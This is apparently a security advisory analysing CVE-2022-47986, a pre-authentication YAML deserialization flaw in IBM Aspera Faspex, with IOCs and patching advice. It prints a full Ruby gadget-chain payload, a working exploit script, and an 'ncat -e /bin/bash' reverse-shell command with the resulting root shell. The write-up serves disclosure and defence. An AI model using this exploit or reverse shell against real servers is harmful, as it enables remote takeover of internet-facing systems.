Description
On January 26, 2023, IBM posted an advisory for multiple security issues affecting its Aspera Faspex software. The most critical of these is CVE-2022-47986, which is a pre-authentication YAML deserialization vulnerability in Ruby on Rails code. The vulnerability carries a CVSS score of 9.8. On February 2, 2023, Maxwell Garrett from Assetnote, who discovered the flaw, posted vulnerability details that included a working proof of concept for CVE-2022-47986.
On February 12, 2023, Shadowserver detected exploitation attempts, and we’ve also seen reports that it’s been used in ransomware attacks. In light of active exploitation and the fact that Aspera Faspex is typically installed on the network perimeter, we strongly recommend patching urgently.
Affected products include:
- IBM Aspera Faspex 4.4.2 Patch Level 1 (and below)
Technical analysis
We tested the public proof of concept against IBM Aspera Faspex version 4.4.1.178477, which according to IBM’s documentation, and our own observations, runs on very old software versions (for reference, Ruby 1.9.3 was released in 2011).
Embedded Components:
Apache Version: 2.4.54
Apache SSL Version: 1.1.1s
asctl Version: 2.1
Connect SDK Version: 3.9.7.175481
Mongrels Version: 1.2.0.pre2
MySQL Version: 5.7.37 with @global.sql_mode and @session.sql_mode set to STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION.
Rails Version: 2.3.18
Ruby Version: 1.9.3
Ruby SSL Version: 1.0.2t
The vulnerable code is found in the self.parse() function in /opt/aspera/faspex/lib/multi_server/relay_descriptor.rb, where the relay.params variable comes from the HTTP POST body:
def self.parse(relay)
file_list = relay.params[:package_file_list]
relay.package_paths = file_list.collect{ |p|
EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
}
enc_emails = relay.params.delete(:external_emails)
relay.external_emails = YAML.load(enc_emails)
relay.encryption = EConfiguration.require_ear?
endThe user-supplied parameter, external_emails, is assigned to the variable enc_emails and then passed into YAML.load, which is an unsafe operation. Garrett developed the following YAML payload, taking advantage of Ruby objects that are available in the particular software version (with the payload id -a):
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `id -a`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakableWe can test that payload in the interactive Ruby interpreter:
[root@localhost poc]# ruby --version
ruby 1.9.3p327 (2012-11-10 revision 37606) [x86_64-linux]
[root@localhost poc]# irb
irb(main):001:0> require 'yaml'
=> true
irb(main):002:0> require 'pp'
=> true
irb(main):003:0> require 'net/http'
=> true
irb(main):004:0> require 'rubygems/installer'
=> true
irb(main):005:0> YAML.load(File.read('./test.yml'))
ArgumentError: uncaught throw "uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023\n"We can also send the payload to the HTTP server, using a script similar to Garrett’s proof of concept:
require 'httparty'
if ARGV.length != 2
$stderr.puts "Usage: #{$1} <url> <command>"
exit 1
end
URL = "#{ARGV[0]}package_relay/relay_package"
COMMAND = ARGV[1]
PAYLOAD = <<-EOT
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `#{ COMMAND }`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
EOT
UUID = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"
payload = {
"package_file_list" => [
"/"
],
"external_emails" => PAYLOAD,
"package_name" => "assetnote_pack",
"package_note" => "hello from assetnote team",
"original_sender_name" => "assetnote",
"package_uuid" => UUID,
"metadata_human_readable" => "Yes",
"forward" => "pew",
"metadata_json" => '{}',
"delivery_uuid" => UUID,
"delivery_sender_name" => "assetnote",
"delivery_title" => "TEST",
"delivery_note" => "TEST",
"delete_after_download" => true,
"delete_after_download_condition" => "IDK",
}
HTTParty.post(
URL,
body: payload,
)Then we execute it against the chosen server with a command in the payload:
$ ruby ./poc.rb http://10.0.0.226:3000/aspera/faspex 'ncat -e /bin/bash 10.0.0.179 4444'We can verify that it executes by catching the shell in another window:
ron@ronlab ~ $ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.0.226.
Ncat: Connection from 10.0.0.226:42286.
whoami
rootAn important word of caution: This is running on a very (very) old version of Ruby, and running the payload was quite finicky in our experience — it crashed the entire application with a segmentation fault several times, for unclear reasons; we’d strongly advise against using this in a production environment.
IOCs
Logfiles can be found in the folder /opt/aspera/faspex/log by default. Entries related to PackageRelayController#relay_package should be considered suspicious:
Processing PackageRelayController#relay_package (for 10.0.0.179 at 2023-02-17 14:04:36) [POST]Guidance
Aspera Faspex customers should upgrade to 4.4.2 Patch Level 2 immediately, without waiting for a typical patch cycle to occur. Because this is typically an internet-facing service and the vulnerability has been linked to ransomware group activity, we recommend taking the service offline if a patch cannot be installed right away.



